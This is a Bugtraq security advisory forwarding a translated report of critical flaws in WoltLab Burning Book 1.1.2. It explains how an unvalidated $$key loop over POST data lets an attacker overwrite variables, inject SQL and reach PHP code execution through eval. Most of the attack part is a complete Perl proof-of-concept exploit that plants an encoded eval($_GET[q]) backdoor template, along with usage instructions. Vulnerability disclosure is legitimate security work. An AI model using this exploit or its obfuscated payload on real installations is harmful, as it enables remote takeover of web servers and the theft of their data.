Hello bugtraq,

 ShAnKaR  (sec at shankar.antichat.ru ) reports multiple vulnerabilities
 in WoltLab Burning Book. Original message in Russian is available from
 http://www.security.nnov.ru/Odocument711.html

 Short translation:

 Author: ShAnKaR  (sec at shankar.antichat.ru)
 Vendor: woltlab.de
 Tested version: WoltLab Burning Book 1.1.2
 Level: Critical
 Class: Remote code execution

 addentry.php file contains this code:

while(list($key,$val)=each($_POST)) {
    $$key=$val;
 }

 There  is  no validation for variable names sent with POST request, so,
 it's possible to overwrite system variables. E.g. here:


$db->query("INSERT INTO bgb".$n."_posts 
(iconid,authorname,posttime,message,nosmilies,emai  
l,homepage,icq,aim,yim,msn,ipaddress,useragent,vis  ible) VALUES 
('".intval($iconid)."','".addslashes($name)."',".time().",'".addslashes($message)."','".intval($nosmilies)."','".addslashes($email)."','".addslashes($homepage)."','".intval($icq)."','".addslashes($aim)."','".addslashes($yim)."','".addslashes($msn)."','".
$REMOTE_ADDR."','".$HTTP_USER_AGENT."','".(($moderateposts) ? ("0") : 
("1"))."')"); 
 
 it's  possible  to add any data to database, and later this data can be
 executed as a PHP code:

 eval("\$template->output(\"".$template->get("index")."\");");

 Exploit code (burning_book.pl):

#!/usr/bin/perl

# woltlab.de burning book <=1.1.2 SQL and PHP injection PoC
# use /index.php?q=phpinfo();exit;
# ShAnKaR sec[A]shankar.antichat.ru
# http://antichat.ru/

use LWP;
die("use ./burn-book.pl http://localhost/wbbook/ [1(number book db, default `1`)]\n") if !$ARGV[0];$ARGV[1]='' if !$ARGV[1];
my $ua=LWP::UserAgent->new();
$ua->post($ARGV[0].'/addentry.php',[reg_image=>0,send=>'send',name=>1,message=>1,
n=>$ARGV[1].'_templates (`templateid`,`templatename`,`template`) VALUES (char(55,55,55),char(105,110,100,101,120,95,102,105,101,108,100,115),char(92,34,59,64,101,118,97,108,40,36,95,71,69,84,91,113,93,41,59,36,102,105,101,108,100,115,61,92,34,60,98,114,32,47,62,60,117,62,36,102,105,101,108,100,116,105,116,108,101,60,47,117,62,58,32,36,102,105,101,108,100))/*',]);


-- 
/3APA3A
http://security.nnov.ru/